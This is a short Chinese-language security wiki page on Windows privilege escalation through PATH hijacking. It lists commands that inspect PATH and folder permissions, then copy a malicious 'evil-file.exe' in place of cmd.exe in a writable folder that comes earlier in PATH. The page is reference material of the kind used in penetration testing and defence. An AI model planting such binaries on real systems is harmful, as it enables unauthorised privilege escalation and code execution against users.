> For the complete documentation index, see [llms.txt](https://www.heresecurity.wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.heresecurity.wiki/quan-xian-ti-sheng/windows-ti-quan/huan-jing-bian-liang-you-xian.md).

# 环境变量优先

```
要求：

PATH 包含一个低权限的可写文件夹。
可写文件夹位于包含合法二进制文件的文件夹之前。
列出PATH环境变量的内容
例子: C:\Program Files\nodejs\;C:\WINDOWS\system32
PS >$env:Path

查看目标文件夹的权限
例子: BUILTIN\Users: GR,GW
icacls.exe "C:\Program Files\nodejs\"

将而已文件放在那个文件夹中
copy evil-file.exe "C:\Program Files\nodejs\cmd.exe"
在本例中“C:\Program Files\nodejs”在 PATH 变量上的“C:\WINDOWS\system32”之前，所以下次用户运行“cmd.exe”时，nodejs 文件夹中的恶意版本将运行，而不是 system32 文件夹中的合法运行。
```
